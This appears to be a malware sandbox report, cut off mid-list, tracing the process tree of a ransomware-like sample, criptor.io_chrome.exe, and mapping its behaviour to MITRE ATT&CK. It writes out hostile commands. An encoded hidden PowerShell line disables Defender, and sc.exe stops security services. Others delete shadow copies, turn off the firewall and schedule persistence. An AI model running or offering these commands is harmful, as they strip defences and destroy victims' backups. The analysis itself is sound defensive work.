PID 4412 wrote to memory of 3936	4412	criptor.io_chrome.exe	130
PID 4412 wrote to memory of 1160	4412	criptor.io_chrome.exe	133
PID 4412 wrote to memory of 292	4412	criptor.io_chrome.exe	135
PID 4412 wrote to memory of 1428	4412	criptor.io_chrome.exe	138
PID 4412 wrote to memory of 4032	4412	criptor.io_chrome.exe	140
PID 4412 wrote to memory of 276	4412	criptor.io_chrome.exe	141
PID 4412 wrote to memory of 3828	4412	criptor.io_chrome.exe	142
PID 4412 wrote to memory of 3664	4412	criptor.io_chrome.exe	143
PID 4412 wrote to memory of 3580	4412	criptor.io_chrome.exe	144
PID 4412 wrote to memory of 4344	4412	criptor.io_chrome.exe	145
PID 4412 wrote to memory of 1116	4412	criptor.io_chrome.exe	152
PID 4412 wrote to memory of 2408	4412	criptor.io_chrome.exe	153
PID 4412 wrote to memory of 3016	4412	criptor.io_chrome.exe	156
PID 4412 wrote to memory of 4904	4412	criptor.io_chrome.exe	157
PID 4412 wrote to memory of 240	4412	criptor.io_chrome.exe	159
PID 4412 wrote to memory of 3040	4412	criptor.io_chrome.exe	160
PID 4412 wrote to memory of 3852	4412	criptor.io_chrome.exe	162
PID 4412 wrote to memory of 2340	4412	criptor.io_chrome.exe	165
PID 240 wrote to memory of 4744	240	net.exe	167
PID 276 wrote to memory of 4208	276	cmd.exe	168
PID 3828 wrote to memory of 1916	3828	cmd.exe	169
PID 4032 wrote to memory of 1484	4032	cmd.exe	172
PID 3664 wrote to memory of 1852	3664	cmd.exe	170
PID 3580 wrote to memory of 4192	3580	cmd.exe	171
PID 4344 wrote to memory of 2316	4344	cmd.exe	173
PID 1852 wrote to memory of 1988	1852	net.exe	174
PID 1428 wrote to memory of 4704	1428	cmd.exe	175
PID 1428 wrote to memory of 1080	1428	cmd.exe	176
PID 2236 wrote to memory of 4672	2236	chrome.exe	179
PID 2236 wrote to memory of 3364	2236	chrome.exe	180
PID 2236 wrote to memory of 3364	2236	chrome.exe	180
PID 2236 wrote to memory of 3448	2236	chrome.exe	182
PID 2236 wrote to memory of 3448	2236	chrome.exe	182

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\criptor.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\criptor.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4412
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://criptor.io
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:2236
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffed888c728,0x7ffed888c734,0x7ffed888c740
    3⤵
    PID:1412
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1664,i,15008324534472587939,5387220308168126027,262144 --field-trial-handle=1996,i,10136640384012702836,13132218553940869034,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1992 /prefetch:2
    3⤵
    PID:1824
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1560,i,8542062329504384393,4075912862410758119,524288 --field-trial-handle=1996,i,10136640384012702836,13132218553940869034,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2308 /prefetch:3
    3⤵
    - System Time Discovery
    PID:3604
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2348,i,10342509521301809445,12528804911504446997,524288 --field-trial-handle=1996,i,10136640384012702836,13132218553940869034,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2420 /prefetch:8
    3⤵
    PID:3568
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3032,i,3499877607196505680,11646358025200162932,2097152 --field-trial-handle=1996,i,10136640384012702836,13132218553940869034,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3156 /prefetch:1
    3⤵
    PID:3288
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3044,i,5371985706108216817,17972619169368090363,2097152 --field-trial-handle=1996,i,10136640384012702836,13132218553940869034,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3204 /prefetch:1
    3⤵
    PID:3668
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4484,i,8059142978460684050,8784684791509972218,2097152 --field-trial-handle=1996,i,10136640384012702836,13132218553940869034,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4496 /prefetch:1
    3⤵
    PID:2804
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4628,i,1638636067861521786,1025521341662944645,524288 --field-trial-handle=1996,i,10136640384012702836,13132218553940869034,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4640 /prefetch:8
    3⤵
    PID:4116
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5784,i,6786485666165380136,10278741248548643310,524288 --field-trial-handle=1996,i,10136640384012702836,13132218553940869034,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5788 /prefetch:8
    3⤵
    PID:4672
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5816,i,11110755124511689365,14558607335615259796,524288 --field-trial-handle=1996,i,10136640384012702836,13132218553940869034,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5828 /prefetch:8
    3⤵
    PID:3364
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5852,i,8298563581914665995,3366892930140286712,524288 --field-trial-handle=1996,i,10136640384012702836,13132218553940869034,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5816 /prefetch:8
    3⤵
    PID:3448
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5892,i,2223508993383245436,2955267097300627356,524288 --field-trial-handle=1996,i,10136640384012702836,13132218553940869034,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5900 /prefetch:8
    3⤵
    PID:1364
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5444,i,4804481072005029873,6473133639975544032,2097152 --field-trial-handle=1996,i,10136640384012702836,13132218553940869034,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4940 /prefetch:1
    3⤵
    PID:1592
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5920,i,8647322281794726975,13271478272971231492,2097152 --field-trial-handle=1996,i,10136640384012702836,13132218553940869034,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5328 /prefetch:2
    3⤵
    PID:768
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5948,i,6623037017522522569,16835749015692128030,524288 --field-trial-handle=1996,i,10136640384012702836,13132218553940869034,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4896 /prefetch:8
    3⤵
    PID:3128
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5160,i,14848350247179695533,11691255733928507950,524288 --field-trial-handle=1996,i,10136640384012702836,13132218553940869034,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5176 /prefetch:8
    3⤵
    PID:2088
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5172,i,8129946941138000749,8862453796317805264,524288 --field-trial-handle=1996,i,10136640384012702836,13132218553940869034,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4992 /prefetch:8
    3⤵
    PID:3452
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5408,i,3092734797025822028,3859785440697216667,262144 --field-trial-handle=1996,i,10136640384012702836,13132218553940869034,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4956 /prefetch:8
    3⤵
    PID:4916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5032
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5036
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:364
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:2852
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:3316
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:3308
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:5024
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:2192
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3716
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2148
- - C:\Users\Admin\AppData\Local\Temp\criptor.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\criptor.io_chrome.exe"
    3⤵
    PID:3372
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5104
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4420
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:212
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:980
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1672
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\criptor.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3936
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\criptor.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1160
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:292
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1428
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4704
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    PID:1080
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4032
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:1484
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:276
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:4208
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3828
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:1916
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3664
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1852
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:1988
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3580
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4192
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4344
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:2316
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\criptor.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1116
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2408
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:3016
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:4904
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:240
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:4744
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:3040
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:3852
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:2340

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5048

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:796

C:\Users\Admin\AppData\Local\Temp\criptor.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\criptor.io_chrome.exe
1⤵
PID:4960

C:\Users\Admin\AppData\Local\Temp\criptor.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\criptor.io_chrome.exe
1⤵
PID:3724

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3076

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:2804

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

System Information Discovery